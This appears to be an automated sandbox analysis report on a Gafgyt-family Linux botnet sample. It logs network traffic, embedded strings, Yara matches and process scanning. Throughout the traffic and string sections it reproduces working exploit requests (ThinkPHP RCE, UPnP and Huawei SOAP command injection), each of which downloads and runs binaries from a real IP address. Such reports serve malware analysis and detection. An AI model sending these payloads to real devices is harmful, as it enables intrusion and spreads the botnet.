Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0

Source: global traffic

DNS traffic detected: DNS query: vector.mineheaven.org

Source: unknown

HTTP traffic detected: POST /picdesc.xml HTTP/1.1Host: 127.0.0.1:52869Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Connection: keep-aliveData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 62 75 6c 6f 6c 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 78 38 36 20 2d 4f 20 62 75 6c 6f 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 62 75 6c 6f 6c 3b 20 2e 2f 62 75 6c 6f 6c 20 73 65 6c 66 72 65 70 2e 72 74 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription

Source: Pn0jlaHvxE.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.mips
Source: Pn0jlaHvxE.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.x86
Source: Pn0jlaHvxE.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: Pn0jlaHvxE.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Pn0jlaHvxE.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: Pn0jlaHvxE.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5705.1.00007f518c001000.00007f518c025000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: Pn0jlaHvxE.elf PID: 5705, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKbolonetwork.armbolonetwork.arm5bolonetwork.arm6bolonetwork.arm7bolonetwork.mipsbolonetwork.mpslbolonetwork.x86_64bolonetwork.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinernetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Pn0jlaHvxE.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5705.1.00007f518c001000.00007f518c025000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: Pn0jlaHvxE.elf PID: 5705, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/3@4/0

Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/5707/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/5718/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/5711/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/5712/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/5715/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/5716/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/Pn0jlaHvxE.elf (PID: 5709)	File opened: /proc/3303/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 39574 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38292 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48142 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43930 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37458 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43394 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45158 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46692 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58256 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52890 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48566 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38068 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38250 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36298 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42866 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42306 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60590 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55874 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47922 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43136 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60444 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36118 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35130 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46572 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53962 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39438 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43862 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51404 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52158 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57164 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57872 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33188 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52870 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52272 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45002 -> 37215
